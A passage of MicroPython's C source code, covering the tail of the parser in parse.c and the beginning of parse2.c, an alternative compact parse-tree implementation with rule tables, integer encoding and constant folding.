q_attr, dest); if (!(dest[0] != MP_OBJ_NULL && MP_OBJ_IS_INT(dest[0]) && dest[1] == MP_OBJ_NULL)) { return false; } arg0 = dest[0]; #endif } else { return false; } // success folding this rule for (size_t i = num_args; i > 0; i--) { pop_result(parser); } if (MP_OBJ_IS_SMALL_INT(arg0)) { push_result_node(parser, mp_parse_node_new_small_int(MP_OBJ_SMALL_INT_VALUE(arg0))); } else { // TODO reuse memory for parse node struct? push_result_node(parser, make_node_const_object(parser, 0, arg0)); } return true; } #endif STATIC void push_result_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t num_args) { // optimise away parenthesis around an expression if possible if (rule->rule_id == RULE_atom_paren) { // there should be just 1 arg for this rule mp_parse_node_t pn = peek_result(parser, 0); if (MP_PARSE_NODE_IS_NULL(pn)) { // need to keep parenthesis for () } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, RULE_testlist_comp)) { // need to keep parenthesis for (a, b, ...) } else { // parenthesis around a single expression, so it's just the expression return; } } #if MICROPY_COMP_CONST_FOLDING if (fold_logical_constants(parser, rule, &num_args)) { // we folded this rule so return straight away return; } if (fold_constants(parser, rule, num_args)) { // we folded this rule so return straight away return; } #endif mp_parse_node_struct_t *pn = parser_alloc(parser, sizeof(mp_parse_node_struct_t) + sizeof(mp_parse_node_t) * num_args); pn->source_line = src_line; pn->kind_num_nodes = (rule->rule_id & 0xff) | (num_args << 8); for (size_t i = num_args; i > 0; i--) { pn->nodes[i - 1] = pop_result(parser); } push_result_node(parser, (mp_parse_node_t)pn); } mp_parse_tree_t mp_parse(mp_lexer_t *lex, mp_parse_input_kind_t input_kind) { // initialise parser and allocate memory for its stacks parser_t parser; parser.rule_stack_alloc = MICROPY_ALLOC_PARSE_RULE_INIT; parser.rule_stack_top = 0; parser.rule_stack = m_new(rule_stack_t, parser.rule_stack_alloc); parser.result_stack_alloc = MICROPY_ALLOC_PARSE_RESULT_INIT; parser.result_stack_top = 0; parser.result_stack = m_new(mp_parse_node_t, parser.result_stack_alloc); parser.lexer = lex; parser.tree.chunk = NULL; parser.cur_chunk = NULL; #if MICROPY_COMP_CONST mp_map_init(&parser.consts, 0); #endif // work out the top-level rule to use, and push it on the stack size_t top_level_rule; switch (input_kind) { case MP_PARSE_SINGLE_INPUT: top_level_rule = RULE_single_input; break; case MP_PARSE_EVAL_INPUT: top_level_rule = RULE_eval_input; break; default: top_level_rule = RULE_file_input; } push_rule(&parser, lex->tok_line, rules[top_level_rule], 0); // parse! size_t n, i; // state for the current rule size_t rule_src_line; // source line for the first token matched by the current rule bool backtrack = false; const rule_t *rule = NULL; for (;;) { next_rule: if (parser.rule_stack_top == 0) { break; } pop_rule(&parser, &rule, &i, &rule_src_line); n = rule->act & RULE_ACT_ARG_MASK; /* // debugging printf("depth=%d ", parser.rule_stack_top); for (int j = 0; j < parser.rule_stack_top; ++j) { printf(" "); } printf("%s n=%d i=%d bt=%d\n", rule->rule_name, n, i, backtrack); */ switch (rule->act & RULE_ACT_KIND_MASK) { case RULE_ACT_OR: if (i > 0 && !backtrack) { goto next_rule; } else { backtrack = false; } for (; i < n; ++i) { uint16_t kind = rule->arg[i] & RULE_ARG_KIND_MASK; if (kind == RULE_ARG_TOK) { if (lex->tok_kind == (rule->arg[i] & RULE_ARG_ARG_MASK)) { push_result_token(&parser, rule); mp_lexer_to_next(lex); goto next_rule; } } else { assert(kind == RULE_ARG_RULE); if (i + 1 < n) { push_rule(&parser, rule_src_line, rule, i + 1); // save this or-rule } push_rule_from_arg(&parser, rule->arg[i]); // push child of or-rule goto next_rule; } } backtrack = true; break; case RULE_ACT_AND: { // failed, backtrack if we can, else syntax error if (backtrack) { assert(i > 0); if ((rule->arg[i - 1] & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE) { // an optional rule that failed, so continue with next arg push_result_node(&parser, MP_PARSE_NODE_NULL); backtrack = false; } else { // a mandatory rule that failed, so propagate backtrack if (i > 1) { // already eaten tokens so can't backtrack goto syntax_error; } else { goto next_rule; } } } // progress through the rule for (; i < n; ++i) { if ((rule->arg[i] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { // need to match a token mp_token_kind_t tok_kind = rule->arg[i] & RULE_ARG_ARG_MASK; if (lex->tok_kind == tok_kind) { // matched token if (tok_kind == MP_TOKEN_NAME) { push_result_token(&parser, rule); } mp_lexer_to_next(lex); } else { // failed to match token if (i > 0) { // already eaten tokens so can't backtrack goto syntax_error; } else { // this rule failed, so backtrack backtrack = true; goto next_rule; } } } else { push_rule(&parser, rule_src_line, rule, i + 1); // save this and-rule push_rule_from_arg(&parser, rule->arg[i]); // push child of and-rule goto next_rule; } } assert(i == n); // matched the rule, so now build the corresponding parse_node #if !MICROPY_ENABLE_DOC_STRING // this code discards lonely statements, such as doc strings if (input_kind != MP_PARSE_SINGLE_INPUT && rule->rule_id == RULE_expr_stmt && peek_result(&parser, 0) == MP_PARSE_NODE_NULL) { mp_parse_node_t p = peek_result(&parser, 1); if ((MP_PARSE_NODE_IS_LEAF(p) && !MP_PARSE_NODE_IS_ID(p)) || MP_PARSE_NODE_IS_STRUCT_KIND(p, RULE_const_object)) { pop_result(&parser); // MP_PARSE_NODE_NULL pop_result(&parser); // const expression (leaf or RULE_const_object) // Pushing the "pass" rule here will overwrite any RULE_const_object // entry that was on the result stack, allowing the GC to reclaim // the memory from the const object when needed. push_result_rule(&parser, rule_src_line, rules[RULE_pass_stmt], 0); break; } } #endif // count number of arguments for the parse node i = 0; size_t num_not_nil = 0; for (size_t x = n; x > 0;) { --x; if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK; if (tok_kind == MP_TOKEN_NAME) { // only tokens which were names are pushed to stack i += 1; num_not_nil += 1; } } else { // rules are always pushed if (peek_result(&parser, i) != MP_PARSE_NODE_NULL) { num_not_nil += 1; } i += 1; } } if (num_not_nil == 1 && (rule->act & RULE_ACT_ALLOW_IDENT)) { // this rule has only 1 argument and should not be emitted mp_parse_node_t pn = MP_PARSE_NODE_NULL; for (size_t x = 0; x < i; ++x) { mp_parse_node_t pn2 = pop_result(&parser); if (pn2 != MP_PARSE_NODE_NULL) { pn = pn2; } } push_result_node(&parser, pn); } else { // this rule must be emitted if (rule->act & RULE_ACT_ADD_BLANK) { // and add an extra blank node at the end (used by the compiler to store data) push_result_node(&parser, MP_PARSE_NODE_NULL); i += 1; } push_result_rule(&parser, rule_src_line, rule, i); } break; } default: { assert((rule->act & RULE_ACT_KIND_MASK) == RULE_ACT_LIST); // n=2 is: item item* // n=1 is: item (sep item)* // n=3 is: item (sep item)* [sep] bool had_trailing_sep; if (backtrack) { list_backtrack: had_trailing_sep = false; if (n == 2) { if (i == 1) { // fail on item, first time round; propagate backtrack goto next_rule; } else { // fail on item, in later rounds; finish with this rule backtrack = false; } } else { if (i == 1) { // fail on item, first time round; propagate backtrack goto next_rule; } else if ((i & 1) == 1) { // fail on item, in later rounds; have eaten tokens so can't backtrack if (n == 3) { // list allows trailing separator; finish parsing list had_trailing_sep = true; backtrack = false; } else { // list doesn't allowing trailing separator; fail goto syntax_error; } } else { // fail on separator; finish parsing list backtrack = false; } } } else { for (;;) { size_t arg = rule->arg[i & 1 & n]; if ((arg & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { if (lex->tok_kind == (arg & RULE_ARG_ARG_MASK)) { if (i & 1 & n) { // separators which are tokens are not pushed to result stack } else { push_result_token(&parser, rule); } mp_lexer_to_next(lex); // got element of list, so continue parsing list i += 1; } else { // couldn't get element of list i += 1; backtrack = true; goto list_backtrack; } } else { assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE); push_rule(&parser, rule_src_line, rule, i + 1); // save this list-rule push_rule_from_arg(&parser, arg); // push child of list-rule goto next_rule; } } } assert(i >= 1); // compute number of elements in list, result in i i -= 1; if ((n & 1) && (rule->arg[1] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) { // don't count separators when they are tokens i = (i + 1) / 2; } if (i == 1) { // list matched single item if (had_trailing_sep) { // if there was a trailing separator, make a list of a single item push_result_rule(&parser, rule_src_line, rule, i); } else { // just leave single item on stack (ie don't wrap in a list) } } else { push_result_rule(&parser, rule_src_line, rule, i); } break; } } } #if MICROPY_COMP_CONST mp_map_deinit(&parser.consts); #endif // truncate final chunk and link into chain of chunks if (parser.cur_chunk != NULL) { (void)m_renew_maybe(byte, parser.cur_chunk, sizeof(mp_parse_chunk_t) + parser.cur_chunk->alloc, sizeof(mp_parse_chunk_t) + parser.cur_chunk->union_.used, false); parser.cur_chunk->alloc = parser.cur_chunk->union_.used; parser.cur_chunk->union_.next = parser.tree.chunk; parser.tree.chunk = parser.cur_chunk; } if ( lex->tok_kind != MP_TOKEN_END // check we are at the end of the token stream || parser.result_stack_top == 0 // check that we got a node (can fail on empty input) ) { syntax_error:; mp_obj_t exc; if (lex->tok_kind == MP_TOKEN_INDENT) { exc = mp_obj_new_exception_msg(&mp_type_IndentationError, "unexpected indent"); } else if (lex->tok_kind == MP_TOKEN_DEDENT_MISMATCH) { exc = mp_obj_new_exception_msg(&mp_type_IndentationError, "unindent does not match any outer indentation level"); } else { exc = mp_obj_new_exception_msg(&mp_type_SyntaxError, "invalid syntax"); } // add traceback to give info about file name and location // we don't have a 'block' name, so just pass the NULL qstr to indicate this mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL); nlr_raise(exc); } // get the root parse node that we created assert(parser.result_stack_top == 1); parser.tree.root = parser.result_stack[0]; // free the memory that we don't need anymore m_del(rule_stack_t, parser.rule_stack, parser.rule_stack_alloc); m_del(mp_parse_node_t, parser.result_stack, parser.result_stack_alloc); // we also free the lexer on behalf of the caller mp_lexer_free(lex); return parser.tree; } void mp_parse_tree_clear(mp_parse_tree_t *tree) { mp_parse_chunk_t *chunk = tree->chunk; while (chunk != NULL) { mp_parse_chunk_t *next = chunk->union_.next; m_del(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc); chunk = next; } } #endif // MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER ================================================ FILE: micropython/source/py/parse2.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/nlr.h" #include "py/lexer.h" #include "py/parse.h" #include "py/parsenum.h" #include "py/smallint.h" #if MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER #define RULE_ACT_ARG_MASK (0x0f) #define RULE_ACT_KIND_MASK (0x30) #define RULE_ACT_ALLOW_IDENT (0x40) #define RULE_ACT_ADD_BLANK (0x80) #define RULE_ACT_OR (0x10) #define RULE_ACT_AND (0x20) #define RULE_ACT_LIST (0x30) #define RULE_ARG_KIND_MASK (0xf000) #define RULE_ARG_ARG_MASK (0x0fff) #define RULE_ARG_TOK (0x1000) #define RULE_ARG_RULE (0x2000) #define RULE_ARG_OPT_RULE (0x3000) #define ADD_BLANK_NODE(rule) ((rule->act & RULE_ACT_ADD_BLANK) != 0) // (un)comment to use rule names; for debugging //#define USE_RULE_NAME (1) typedef struct _rule_t { byte rule_id; byte act; #ifdef USE_RULE_NAME const char *rule_name; #endif uint16_t arg[]; } rule_t; enum { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) RULE_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC RULE_const_object, // special node for a constant, generic Python object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) RULE_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC }; #define or(n) (RULE_ACT_OR | n) #define and(n) (RULE_ACT_AND | n) #define and_ident(n) (RULE_ACT_AND | n | RULE_ACT_ALLOW_IDENT) #define and_blank(n) (RULE_ACT_AND | n | RULE_ACT_ADD_BLANK) #define one_or_more (RULE_ACT_LIST | 2) #define list (RULE_ACT_LIST | 1) #define list_with_end (RULE_ACT_LIST | 3) #define tok(t) (RULE_ARG_TOK | MP_TOKEN_##t) #define rule(r) (RULE_ARG_RULE | RULE_##r) #define opt_rule(r) (RULE_ARG_OPT_RULE | RULE_##r) #ifdef USE_RULE_NAME #define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } }; #define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } }; #else #define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } }; #define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } }; #endif #include "py/grammar.h" #undef or #undef and #undef list #undef list_with_end #undef tok #undef rule #undef opt_rule #undef one_or_more #undef DEF_RULE #undef DEF_RULE_NC STATIC const rule_t *rules[] = { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) &rule_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC NULL, // RULE_const_object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) &rule_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC }; typedef struct _rule_stack_t { size_t src_line : 8 * sizeof(size_t) - 8; // maximum bits storing source line number size_t rule_id : 8; // this must be large enough to fit largest rule number size_t arg_i : 16; // this dictates the maximum nodes in a "list" of things size_t pt_off : 16; } rule_stack_t; typedef struct _mp_parse_chunk_t { size_t alloc; union { size_t used; struct _mp_parse_chunk_t *next; } union_; byte data[]; } mp_parse_chunk_t; typedef enum { PARSE_ERROR_NONE = 0, PARSE_ERROR_MEMORY, PARSE_ERROR_CONST, } parse_error_t; typedef struct _parser_t { parse_error_t parse_error; size_t rule_stack_alloc; size_t rule_stack_top; rule_stack_t *rule_stack; mp_uint_t cur_scope_id; size_t co_alloc; size_t co_used; mp_uint_t *co_data; mp_lexer_t *lexer; mp_parse_tree_t tree; #if MICROPY_COMP_CONST mp_map_t consts; #endif } parser_t; STATIC void push_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t arg_i, size_t pt_off) { if (parser->parse_error) { return; } if (parser->rule_stack_top >= parser->rule_stack_alloc) { rule_stack_t *rs = m_renew_maybe(rule_stack_t, parser->rule_stack, parser->rule_stack_alloc, parser->rule_stack_alloc + MICROPY_ALLOC_PARSE_RULE_INC, true); if (rs == NULL) { parser->parse_error = PARSE_ERROR_MEMORY; return; } parser->rule_stack = rs; parser->rule_stack_alloc += MICROPY_ALLOC_PARSE_RULE_INC; } rule_stack_t *rs = &parser->rule_stack[parser->rule_stack_top++]; rs->src_line = src_line; rs->rule_id = rule->rule_id; rs->arg_i = arg_i; rs->pt_off = pt_off; } STATIC void push_rule_from_arg(parser_t *parser, size_t arg) { assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE || (arg & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE); size_t rule_id = arg & RULE_ARG_ARG_MASK; push_rule(parser, parser->lexer->tok_line, rules[rule_id], 0, 0); } STATIC void pop_rule(parser_t *parser, const rule_t **rule, size_t *arg_i, size_t *src_line, size_t *pt_off) { assert(!parser->parse_error); parser->rule_stack_top -= 1; *rule = rules[parser->rule_stack[parser->rule_stack_top].rule_id]; *arg_i = parser->rule_stack[parser->rule_stack_top].arg_i; *src_line = parser->rule_stack[parser->rule_stack_top].src_line; *pt_off = parser->rule_stack[parser->rule_stack_top].pt_off; } typedef struct _pt_t { vstr_t vv; } pt_t; STATIC pt_t *pt_new(void) { pt_t *pt = m_new_obj(pt_t); vstr_init(&pt->vv, 16); return pt; } STATIC byte *pt_raw_add_blank(pt_t *pt, size_t nbytes) { return (byte*)vstr_add_len(&pt->vv, nbytes); } STATIC byte *pt_raw_ins_blank(pt_t *pt, size_t pt_off, size_t nbytes) { return (byte*)vstr_ins_blank_bytes(&pt->vv, pt_off, nbytes); } STATIC void pt_raw_truncate_at(pt_t *pt, size_t pt_off) { pt->vv.len = pt_off; } STATIC int vuint_nbytes(size_t val) { int n = 0; do { n += 1; val >>= 7; } while (val != 0); return n; } STATIC void vuint_store(byte *p, int nbytes, size_t val) { p += nbytes; *--p = val & 0x7f; for (--nbytes; nbytes > 0; --nbytes) { val >>= 7; *--p = 0x80 | (val & 0x7f); } } STATIC size_t vuint_load(const byte **p_in) { const byte *p = *p_in; size_t val = 0; do { val = (val << 7) + (*p & 0x7f); } while ((*p++ & 0x80) != 0); *p_in = p; return val; } STATIC byte *pt_advance(const byte *p, bool full_rule) { switch (*p++) { case MP_PT_NULL: break; case MP_PT_TOKEN: p += 1; break; case MP_PT_SMALL_INT: p += BYTES_PER_WORD; break; case MP_PT_STRING: p += 2; break; case MP_PT_BYTES: p += 2; break; case MP_PT_CONST_OBJECT: vuint_load(&p); break; default: if (p[-1] < MP_PT_RULE_BASE) { // MP_PT_ID_BASE p += 1; } else { // MP_PT_RULE_BASE vuint_load(&p); uint32_t n = vuint_load(&p); if (full_rule) { p += n; } } break; } return (byte*)p; } bool mp_parse_node_get_int_maybe(const byte *p, mp_obj_t *o, mp_uint_t *co_data) { if (pt_is_small_int(p)) { *o = MP_OBJ_NEW_SMALL_INT(pt_small_int_value(p)); return true; } else if (*p == MP_PT_CONST_OBJECT) { size_t idx; p = pt_extract_const_obj(p, &idx); *o = (mp_obj_t)co_data[idx]; return true; } else { return false; } } // TODO this could perhaps allow *p to be null and in that case return null? const byte *mp_parse_node_extract_list(const byte **p, size_t pn_kind) { if (pt_is_null(*p)) { *p += 1; return *p; } else if (!pt_is_any_rule(*p)) { return pt_advance(*p, true); } else { if (!pt_is_rule(*p, pn_kind)) { return pt_advance(*p, true); } else { const byte *ptop; *p = pt_rule_extract_top(*p, &ptop); return ptop; } } } /* const byte *pt_extract_id(const byte *p, qstr *qst) { //assert(*p == MP_PT_ID_BASE); *qst = p[1] | ((p[0] - MP_PT_ID_BASE) << 8); return p + 2; } */ const byte *pt_extract_const_obj(const byte *p, size_t *idx) { assert(*p == MP_PT_CONST_OBJECT); p += 1; *idx = vuint_load(&p); return p; } const byte *pt_get_small_int(const byte *p, mp_int_t *val) { assert(*p == MP_PT_SMALL_INT); *val = 0; for (size_t i = 0; i < BYTES_PER_WORD; i++) { *val |= (mp_int_t)*++p << (8 * i); } return p + 1; } mp_int_t pt_small_int_value(const byte *p) { mp_int_t val; pt_get_small_int(p, &val); return val; } int pt_num_nodes(const byte *p, const byte *ptop) { int n = 0; while (p < ptop) { n += 1; p = pt_advance(p, true); } return n; } const byte *pt_next(const byte *p) { return pt_advance(p, true); } const byte *pt_rule_first(const byte *p) { return pt_advance(p, false); } #if 0 void pt_show(const byte *p, const byte *ptop) { const byte *start = p; while (p < ptop) { printf("%04u ", (uint)(p - (byte*)start)); const byte *p2 = pt_advance(p, false); for (const byte *p3 = p; p3 < p2; ++p3) { printf("%02x ", *p3); } for (int i = 8 - (p2 - p); i > 0; --i) { printf(" "); } switch (*p) { case MP_PT_NULL: printf("NULL\n"); break; case MP_PT_TOKEN: printf("TOKEN %u\n", p[1]); break; case MP_PT_SMALL_INT: printf("SMALL_INT " INT_FMT "\n", pt_small_int_value(p)); break; case MP_PT_STRING: printf("STRING %s\n", qstr_str(p[1] | (p[2] << 8))); break; case MP_PT_BYTES: printf("BYTES %s\n", qstr_str(p[1] | (p[2] << 8))); break; case MP_PT_CONST_OBJECT: printf("CONST_OBJECT\n"); break; default: if (p[0] < MP_PT_RULE_BASE) { // MP_PT_ID_BASE printf("ID %s\n", qstr_str(p[1] | ((p[0] - MP_PT_ID_BASE) << 8))); } else { // MP_PT_RULE_BASE byte rule_id = p[0] - MP_PT_RULE_BASE; const byte *p4 = p + 1; uint32_t src_line = vuint_load(&p4); uint32_t n = vuint_load(&p4); #if USE_RULE_NAME printf("RULE %s line=%u bytes=%u\n", rules[rule_id]->rule_name, src_line, n); #else printf("RULE %d line=%u bytes=%u\n", rule_id, src_line, n); #endif } break; } p = p2; } } #endif STATIC void pt_add_null(pt_t *pt) { *pt_raw_add_blank(pt, 1) = MP_PT_NULL; } STATIC void pt_add_kind_byte(pt_t *pt, byte kind, byte b) { byte *buf = pt_raw_add_blank(pt, 2); buf[0] = kind; buf[1] = b; } STATIC void pt_add_kind_qstr(pt_t *pt, byte kind, qstr qst) { if (kind == MP_PT_ID_BASE) { assert((qst >> 12) == 0); byte *buf = pt_raw_add_blank(pt, 2); buf[0] = MP_PT_ID_BASE + (qst >> 8); buf[1] = qst; } else { assert((qst >> 16) == 0); byte *buf = pt_raw_add_blank(pt, 3); buf[0] = kind; buf[1] = qst; buf[2] = qst >> 8; } } // valid for up to BYTES_PER_WORD=8 const byte pt_const_int0[] = {MP_PT_SMALL_INT, 0, 0, 0, 0, 0, 0, 0, 0}; STATIC void pt_add_kind_int(pt_t *pt, byte kind, mp_int_t val) { byte *buf = pt_raw_add_blank(pt, 1 + BYTES_PER_WORD); buf[0] = kind; for (size_t i = 0; i < BYTES_PER_WORD; ++i) { buf[i + 1] = val; val >>= 8; } } STATIC void pt_del_tail_bytes(pt_t *pt, size_t nbytes) { vstr_cut_tail_bytes(&pt->vv, nbytes); } STATIC const byte *pt_del_byte(pt_t *pt, const byte *p) { vstr_cut_out_bytes(&pt->vv, p - (byte*)pt->vv.buf, 1); return p; } #if MICROPY_COMP_MODULE_CONST #include "py/builtin.h" STATIC const mp_rom_map_elem_t mp_constants_table[] = { #if MICROPY_PY_UCTYPES { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) }, #endif // Extra constants as defined by a port MICROPY_PORT_CONSTANTS }; STATIC MP_DEFINE_CONST_MAP(mp_constants_map, mp_constants_table); #endif #if MICROPY_COMP_CONST_FOLDING STATIC bool fold_constants(parser_t *parser, pt_t *pt, size_t pt_off, const rule_t *rule) { (void)parser; // this code does folding of arbitrary integer expressions, eg 1 + 2 * 3 + 4 // it does not do partial folding, eg 1 + 2 + x -> 3 + x mp_int_t arg0; if (rule->rule_id == RULE_expr || rule->rule_id == RULE_xor_expr || rule->rule_id == RULE_and_expr) { // folding for binary ops: | ^ & const byte *p = (byte*)pt->vv.buf + pt_off; const byte *ptop = (byte*)pt->vv.buf + pt->vv.len; if (*p != MP_PT_SMALL_INT) { return false; } p = pt_get_small_int(p, &arg0); while (p != ptop) { if (*p != MP_PT_SMALL_INT) { return false; } mp_int_t arg1; p = pt_get_small_int(p, &arg1); if (rule->rule_id == RULE_expr) { // int | int arg0 |= arg1; } else if (rule->rule_id == RULE_xor_expr) { // int ^ int arg0 ^= arg1; } else if (rule->rule_id == RULE_and_expr) { // int & int arg0 &= arg1; } } } else if (rule->rule_id == RULE_shift_expr || rule->rule_id == RULE_arith_expr || rule->rule_id == RULE_term) { // folding for binary ops: << >> + - * / % // const byte *p = (byte*)pt->vv.buf + pt_off; const byte *ptop = (byte*)pt->vv.buf + pt->vv.len; if (*p != MP_PT_SMALL_INT) { return false; } p = pt_get_small_int(p, &arg0); while (p != ptop) { p += 1; // it's a token byte tok = *p++; if (*p != MP_PT_SMALL_INT) { return false; } mp_int_t arg1; p = pt_get_small_int(p, &arg1); if (tok == MP_TOKEN_OP_DBL_LESS) { // int << int if (arg1 >= (mp_int_t)BITS_PER_WORD || arg0 > (MP_SMALL_INT_MAX >> arg1) || arg0 < (MP_SMALL_INT_MIN >> arg1)) { return false; } arg0 <<= arg1; } else if (tok == MP_TOKEN_OP_DBL_MORE) { // int >> int if (arg1 >= (mp_int_t)BITS_PER_WORD) { // Shifting to big amounts is underfined behavior // in C and is CPU-dependent; propagate sign bit. arg1 = BITS_PER_WORD - 1; } arg0 >>= arg1; } else if (tok == MP_TOKEN_OP_PLUS) { // int + int arg0 += arg1; } else if (tok == MP_TOKEN_OP_MINUS) { // int - int arg0 -= arg1; } else if (tok == MP_TOKEN_OP_STAR) { // int * int if (mp_small_int_mul_overflow(arg0, arg1)) { return false; } arg0 *= arg1; } else if (tok == MP_TOKEN_OP_SLASH) { // int / int return false; } else if (tok == MP_TOKEN_OP_PERCENT) { // int % int if (arg1 == 0) { return false; } arg0 = mp_small_int_modulo(arg0, arg1); } else { assert(tok == MP_TOKEN_OP_DBL_SLASH); // should be // int // int if (arg1 == 0) { return false; } arg0 = mp_small_int_floor_divide(arg0, arg1); } if (!MP_SMALL_INT_FITS(arg0)) { return false; } } } else if (rule->rule_id == RULE_factor_2) { // folding for unary ops: + - ~ const byte *p = (byte*)pt->vv.buf + pt_off; p += 1; // it's a token byte tok = *p++; if (*p != MP_PT_SMALL_INT) { return false; } arg0 = pt_small_int_value(p); if (tok == MP_TOKEN_OP_PLUS) { // +int } else if (tok == MP_TOKEN_OP_MINUS) { // -int arg0 = -arg0; if (!MP_SMALL_INT_FITS(arg0)) { return false; } } else { assert(tok == MP_TOKEN_OP_TILDE); // should be // ~int arg0 = ~arg0; } #if 0&&MICROPY_COMP_CONST } else if (rule->rule_id == RULE_expr_stmt) { mp_parse_node_t pn1 = peek_result(parser, 0); if (!MP_PARSE_NODE_IS_NULL(pn1) && !(MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_augassign) || MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_assign_list))) { // this node is of the form = mp_parse_node_t pn0 = peek_result(parser, 1); if (MP_PARSE_NODE_IS_ID(pn0) && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_power) && MP_PARSE_NODE_IS_ID(((mp_parse_node_struct_t*)pn1)->nodes[0]) && MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn1)->nodes[0]) == MP_QSTR_const && MP_PARSE_NODE_IS_STRUCT_KIND(((mp_parse_node_struct_t*)pn1)->nodes[1], RULE_trailer_paren) && MP_PARSE_NODE_IS_NULL(((mp_parse_node_struct_t*)pn1)->nodes[2]) ) { // code to assign dynamic constants: id = const(value) // get the id qstr id = MP_PARSE_NODE_LEAF_ARG(pn0); // get the value mp_parse_node_t pn_value = ((mp_parse_node_struct_t*)((mp_parse_node_struct_t*)pn1)->nodes[1])->nodes[0]; if (!MP_PARSE_NODE_IS_SMALL_INT(pn_value)) { parser->parse_error = PARSE_ERROR_CONST; return false; } mp_int_t value = MP_PARSE_NODE_LEAF_SMALL_INT(pn_value); // store the value in the table of dynamic constants mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); assert(elem->value == MP_OBJ_NULL); elem->value = MP_OBJ_NEW_SMALL_INT(value); // replace const(value) with value pop_result(parser); push_result_node(parser, pn_value); // finished folding this assignment, but we still want it to be part of the tree return false; } } return false; #endif #if 0&&MICROPY_COMP_MODULE_CONST } else if (rule->rule_id == RULE_power) { mp_parse_node_t pn0 = peek_result(parser, 2); mp_parse_node_t pn1 = peek_result(parser, 1); mp_parse_node_t pn2 = peek_result(parser, 0); if (!(MP_PARSE_NODE_IS_ID(pn0) && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_trailer_period) && MP_PARSE_NODE_IS_NULL(pn2))) { return false; } // id1.id2 // look it up in constant table, see if it can be replaced with an integer mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pn1; assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0])); qstr q_base = MP_PARSE_NODE_LEAF_ARG(pn0); qstr q_attr = MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]); mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&mp_constants_map, MP_OBJ_NEW_QSTR(q_base), MP_MAP_LOOKUP); if (elem == NULL) { return false; } mp_obj_t dest[2]; mp_load_method_maybe(elem->value, q_attr, dest); if (!(MP_OBJ_IS_SMALL_INT(dest[0]) && dest[1] == MP_OBJ_NULL)) { return false; } arg0 = MP_OBJ_SMALL_INT_VALUE(dest[0]); #endif } else { return false; } // success folding this rule pt_raw_truncate_at(pt, pt_off); pt_add_kind_int(pt, MP_PT_SMALL_INT, arg0); return true; } #endif STATIC void pt_ins_rule(parser_t *parser, pt_t *pt, size_t pt_off, size_t src_line, const rule_t *rule, size_t num_args) { (void)num_args; // optimise away parenthesis around an expression if possible if (rule->rule_id == RULE_atom_paren) { // there should be just 1 arg for this rule const byte *p = (byte*)pt->vv.buf + pt_off; if (pt_is_null(p)) { // need to keep parenthesis for () } else if (pt_is_rule(p, RULE_testlist_comp)) { // need to keep parenthesis for (a, b, ...) } else { // parenthesis around a single 